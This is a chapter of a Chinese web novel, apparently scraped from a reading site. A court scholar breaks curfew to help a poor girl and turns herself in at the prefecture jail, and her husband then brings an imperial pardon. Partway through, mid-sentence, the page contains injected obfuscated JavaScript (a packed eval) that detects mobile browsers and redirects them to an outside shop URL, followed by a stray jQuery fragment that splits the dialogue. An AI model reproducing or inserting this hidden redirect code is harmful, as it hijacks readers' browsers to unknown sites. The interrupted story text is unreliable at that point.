76.囹圄
    此日常朝后,赵维贞被皇帝留下议事,露微便独自侍奉太子温习,却不想过午仍不见父亲有信。原也可先行离开,但父亲早有叮嘱,叫她今天同回赵家,被太子闻知,乐得留她相伴,便一直在东宫等到了将近申时。

    眼看宵禁将至,想来议政没有定时,或至半夜也未可知,露微还是告退出了宫。马车驶往崇贤坊赵家,路途稍远,正要提醒驾车小奴加快些,不防却突然急刹,险叫她撞到车壁上。

    “怎么回事?”

    那小奴是个熟手,从未出过这等纰漏,她只怕有什么缘故,忙撩开车帘去瞧,倒见一个小女子跌坐车前,衣着破旧,满脸洒泪,却又不见血迹伤口,不像被撞所致。

    “夫人明鉴,小奴赶车赶得好好的,这丫头突然窜出来,吓了小奴一跳,扯死了缰绳才没叫马蹄踩着她!”

    果听没出大事,露微这才放心,下车同雪信一起将人扶了起来,问道:“别怕,你家在何处?”

    女孩浑身瑟缩,半晌才稍稍抬头,“我家在永阳坊,我是来寻一个医人给我娘瞧病的,可那人嫌我出不起诊金将我赶走,我又不大认得这一片的路,着急走迷了。”

    永阳坊在城南,与此处隔着大半个咸京城,莫说一双脚行路,就是快马也必会误了时辰。且说这两句话的工夫,天色已暗,行人已稀,独他们的马车停在路中,尤为突兀。

    “马上就要宵禁,你赶不上了。我家倒不算远,你先到我家住一夜,明早我叫人送你回去,再帮你另请医人可好?”

    打量她不过十四五的样子,遭遇可怜,露微心生恻隐,说着便示意雪信扶她上车,却一下被她扯住胳膊,又见她跪了下来:

    “我娘病得很重,家里也没有别人了,我不回去,她会死的!看夫人定是官家娘子,我不要夫人帮我请医人,就求夫人舍我乘车,送我回家吧!”

    露微身着官服,小奴又如此唤她,身份自是不难认,可依本朝卫禁的律令,非有特殊,官民士庶都不得违犯,但就放着一条人命不管?犹豫间,宵禁鼓声已经传来,只待声落,即是犯禁。

    “罢了,你起来!”她虽没有特权,急中生智,忽然想起若是为求医药的急事,持有本坊备案的文牒,该是能让金吾放行的,“你有没有永阳坊证明的文牒?”

    女孩却一脸茫然:“什么……文牒?我不识字。”

    露微这才自悔多问,看她穿着褴褛,应是贫寒出身,大约也不懂这些。又一搜肠,索性将自己的身牌解了递到雪信手里,一面就叫雪信带了女孩登车,叮嘱道:

    “我的身牌虽做不得大用,好歹也有东宫字样,你送她回去,若金吾拦车,只如实说,不必多提别的!”

    雪信见她安排得周全,却把自己丢在了车下,急道:“那夫人呢?”

    耽误了这些时候,虽不见父亲沿路过来,可赵家定是知道她要回去的,便不好叫家中担心,况且方向不同,绕路更费时,稍解释了,仍催了他们出发。

    季秋时节,天黑得极快,马车才去,转过眼来,已见道旁房屋亮起灯光。露微只能加快脚步,可紧赶慢赶,崇贤坊的坊门还未见,鼓声就断了。

    她虽不免着急,但总不能止步不前,小心又磨过半条街,到了一处四通的路口,等了片刻不闻动静,方要拔脚奔去对街,一声怒喝便自背后袭来,果然不能心存侥幸。

    许是早有两次殷鉴,揆诸此情,她悬着的心也只能放下了,可是转头一见,迎上来为首的金吾竟然是陆冬至。

    陆冬至也才惊觉,口唇半张,半晌方问出话来:“这是怎么回事啊?”打量露微身穿的官服,又问:“这个时辰才出宫?”

    露微想简单解释几句,只是他身后跟来的一队金吾郎,目光各异,又窃窃私语,叫她窘迫起来,“今天有点复杂。”

    陆冬至犯了难,上回抓到熟人还是那位醉酒犯禁的谢二郎,虽有曲折,最后也是去京兆府受了笞刑。可露微不一样,若叫在他手里吃了苦,莫说他本就不忍,今后也不必做人了。

    一时想定,他只将露微挡在了身后,对众人道:“这位是东宫的赵学士,因与太子殿下办差才误了时辰,不算犯禁。你们先自行巡察,我要护送赵学士回府。”

    露微不料他竟想当街放人,理由还如此冠冕堂皇,只是自己刚刚一字未提,叫人一听就是他自己现编的,怕是未能服众。

    果然,话音未落,一个质疑的声音就跳了出来:“陆中候,我们都识得赵学士,可就算是为太子办事,那也不能枉法呀!难道你是看在谢司阶的面子?那谢司阶的面子也大不过太子啊!”

    此话一出,立刻引得一阵哄笑,陆冬至本不善辩,吼了一声叫他们安静,便只剩气得铁青的面色。露微见状,两拳不由握紧,却是忽然瞧出些别的门道。

    先前谢探微手下金吾起争端,她便得知,谢探微履新之后未能收服人心。看来陆冬至也差不多,履新职,带新兵,手段更比谢探微生疏,此人敢当面取笑已是明证了。

    故而越是这般,就越不能让人抓住把柄,而既已提到谢探微,便也算更加提醒了露微。她了然一笑,目光直视那人道:

    “陆中候固然不能枉法徇私,但你就能以下犯上了吗?”

    此人倒也没多大底气,一句话就低了头,只是面上仍悻悻。陆冬至见状,不欲露微为他出头,憋下一口气,又将人拉了过来:

    “别管他!我还是先送你回家,有什么事我来担着。”

    露微自然不是只想逞口舌,心中计策已定,摇头道:“你现在就把我送到京兆府。”

    “什么?!”

    ……

    京兆大狱幽深的甬道不知打过几个弯折,两侧铸铁的栅栏隔开一间间可怖的暗室,隐有粗重的喘息,哀怨的啜泣,掺杂着阴寒而腥臭的风袭来,叫露微禁不得连连寒颤。

    自陆冬至手中接管她的狱吏也是头回见她这样的犯人,一路都在偷眼打量,直至甬道尽头的刑室,也只是叫她一旁等候。

    与幽暗的甬道不同,刑室灯火通明,左右开阔,四壁都是砖石密密砌成,只有接顶处开了几个小窗,难见天色。

    她目光环顾一圈方转到堂上,只见狱吏正与伏案的主官耳语。此人绿袍银带,不上壮室的年纪,倒很有些清正的气度,既掌管刑狱,当是京兆府的法曹参军事。

    似也为她的身份来由所惊,法曹很快起身下来,迅速端量了几眼后,口气倒并不客套:

    “下官贺伦,是京兆府法曹。赵学士既主动认罪而来,便是熟知本朝卫禁之律,但凡犯禁,不问出身男女,皆要受笞刑。如赵学士这般初犯,则是五鞭。”

    露微却不必他饶舌,想这笞刑原来并不分初犯再犯,一律都是二十鞭,还是谢探微上奏改良至此。况且自己与金吾是何关系,他必然已知,大约就是事前澄清,依法执行而已。于是一笑,回道:

    “贺法曹所言,我已悉知。原本金吾拿人,先应关进卫署监室待罪,天明后才是送至京兆处分。然则法曹想也深知,我夫君司职金吾,金吾中多是相熟之人,为示避嫌,我才直接来此,故而法曹只管秉公执法,无须费心多虑。”

    贺伦确有试探之意,只因虽是初见,但也早听闻过这位女官的名声,心里是有些不屑的,认为她出身高门,知书识礼不稀奇,但终究不过是个小女子,再是天子亲封的五品学士,也不能与朝官学士相提并论。

    然而这番话听来,竟是如此坦荡,倒让他一时生出感佩,思索片时,却是恭敬地向露微拱手一礼:“那么,就由下官亲自为赵学士行刑。”

    露微所言字字真意,可她是心有计较而来,所虑到的后果,按律被笞只是其中一个,目下还不至于此。只是,她也没想到,这贺伦当真是个刚直的法官,倒有些偏了她的计划。

    想了想,露微瞥了眼身后乌黑的甬道,暗暗捏紧了手掌,“行刑本是狱吏的职分,法曹亲自动手,果然是给我颜面。”又作一笑,道:“那就请法曹稍待,容我——先脱了衣裳。”

    “等等!”贺伦一惊,目光闪避起来,“不必如此!”

    果见他变了脸色,露微心中一喜,仍作势要解开束腰的革带,说道:“若不如此,难道法曹要将鞭子打在我的官服上吗?我虽是女人,可清誉再重,也重不过陛下亲赐的官服吧?”

    贺伦似乎终于迟疑了,神情焦灼,却又招来狱吏道:“去找间空置的牢房,找件衣裳叫她换了!”

    他还是要打,露微倒是没有余地了,然而那狱吏却并不即刻奉命,竟说道:

    “贺法曹,你可得三思啊!她是太子的人,父亲是太傅,夫家又是谢家,你让她在咱们牢里脱衣服换衣服的……小人可不敢办!不若还是先去禀告周府尹,再做定夺吧!”

    没想到狱吏怕事,反倒帮了她一把,可又不及露微松气,贺伦却怒斥道:“依法行事,有何不敢?纵无前例,我也已经通融,区区犯禁笞刑,贺某还做不得主?休再拖延,否则你也是渎职之罪!”

    若非事出复杂,露微也真是无颜再周旋下去了,只见这狱吏仍无动作,又跪下求告了几句,她越发难耐,正欲索性先去更衣,就听甬道间荡来了一阵笃然的脚步声——“微微!”

    会有人来救她,是她等待已久的另一个结果,然而来的这人,却并不是她想看见的。

    “怎么是你啊?!冬至还是去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001438|138508||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叫你了?”

    谢探微通身甲胄,面色冷青,并不作答,只将她上下看遍,揽持在怀,方对贺伦道了一句:“我夫人并非故意犯禁,陛下已下旨恩赦,特命我来接她还家。”

    贺伦从前与谢探微常打交道,自是认得,可听是皇命,反让他怒火更起,颊腮鼓动,额上冒出青筋:

    “卫禁之律明文所写,只要事先未经奏准,非时而至,就是犯禁,岂有故意无意之论!你如今升了殿前金吾,不思劝谏陛下,反而因私枉法,我要上奏弹劾你!”

    谢探微的出现就已经乱了露微的阵脚,贺伦这番言论,她亦再无理反驳,而谢探微更则全无在意,反向她微微摇头。正无法收场之际,忽见甬道门下又奔来一个身影:

    “贺伦,你快住口!”

    露微并不认得此人面貌,只看他跑得气喘吁吁,面上通红,而又身着紫袍,便听谢探微附耳提道:“他就是周崇。”

    猜得不差,而露微原本希冀的来人就是他。虽也一时不知具体缘故,但谢探微如此镇定,倒也有了答案。

    周崇站定稍歇了两口气,又道:“陛下已经下旨宽恕,你要弹劾谢司阶,岂不是抗旨?贺伦啊贺伦,你这个脾气什么时候能改一改?还不快向谢司阶致歉!”

    露微原本听闻的周崇是个履历平常的官员,惊马案若非周贵妃及时出手,他这京兆尹早是做不成了。如今一见,倒真不像一个三品高官的派头,虽是训教下属,气势却被贺伦压了三丈。

    贺伦仍是愤然神色,并不行礼,目光划过谢探微,道:“下官何错之有?是枉法?还是徇私?”又冷冷地哼了一声:

    “谢探微,你如此肆意妄为,以私害公,不过是倚仗你谢家的权势。”顿了顿,忽一冷笑,“或者,下官再送你们八个字——结党营私,蒙蔽圣听。”

    语罢,他即绕开周崇阔步离去。周崇愣了片时,脸色红白起伏,只好从中调和:

    “这个贺伦一向口出狂言,旁人都不理他,但他熟知律令,是推鞫判事的好手,在此位上也算合宜。谢司阶、赵学士都是御前奉承的人,就看在我的面子上,不要与他计较了!”

    露微被那八个字惊了一跳,想起父亲先前与她交底的话,果然结党是攻讦他们的绝佳理由,贺伦如此,怕是朝中也不乏此声。谢探微与她眼神交错,心意已通,却只一笑:

    “周府尹实在言重,今夜事起突然,多亏府尹明辨是非,又不惜夤夜禀明陛下,下官实在不知如何感谢!”

    说着,谢探微便躬身下拜,露微从他话中明白了几分,也随之下拜。周崇自是连忙相扶,与谢探微又说了些客套话,便亲自将二人引出了大狱。

    到了京兆府门首,露微见谢探微只是一人一马而来,想家中众人必已惊动,又不知父亲如何,心中半乱半疑。一待周崇转回,她便迫不及待问起今夜缘故。谢探微先长叹了一声,解下自己的氅衣与她披上,方才细细道来。

    按照露微的计划,她确实犯禁,且陆冬至手下金吾郎已有异议,她便不能授人以柄。不去金吾待罪,直接去京兆府,则是怕惊动谢探微,闹出更大的动静,也无疑更是落人口实。

    然而她在刑室与贺伦一番周旋,是认为周崇闻知消息,或会主动现身阻拦。只因,周崇是贵妃吴王一党,而她是所谓太子一党,惊马祸事才刚平息,他们必会忌惮,不欲再生矛盾。

    若他们当真有这一点息事宁人之意,便算是她的运气,能够逃过刑罚。如若不然,她也甘愿受刑,终归是不能因她一时不慎,波及众人,殃及无辜。

    可没想到,陆冬至虽遵守了与她的约定,未曾惊动谢探微,却是周崇自己闻知消息后,先主动见了皇帝,求得了恩旨。谢探微殿前值守,便顺理成章有了后头的事。

    “当时阿耶也在紫宸殿,陛下听周崇说来,近乎是没有考虑的,便叫我随周崇去了。阿耶已经回府等你,你放心就是。”

    露微却并不觉轻松,多是无奈惭愧,“其实打就打了,我不该有这些旁门左道的心思。难道以后凡有类似之事,你都要徇私么?”

    谢探微岂是不通道理,心疼地揽住她道:“微微,你不会故意做让我徇私的事,周崇也不是你去求他面见陛下的。若我刚刚真的来晚了一刻,我定会自责死的。”

    露微苦涩一笑,心中愧意到底被他的温存掺淡了几分,“送我回家你便赶紧回宫吧,阿耶叫我在家住几日,你等休沐再来接我吧。”

    谢探微未置可否,却反问:“微微,不记得明天是什么日子了?”

    露微不知他从何说起:“明天怎么了?”

    “明天是九月初三,是我的微微十八岁生辰。”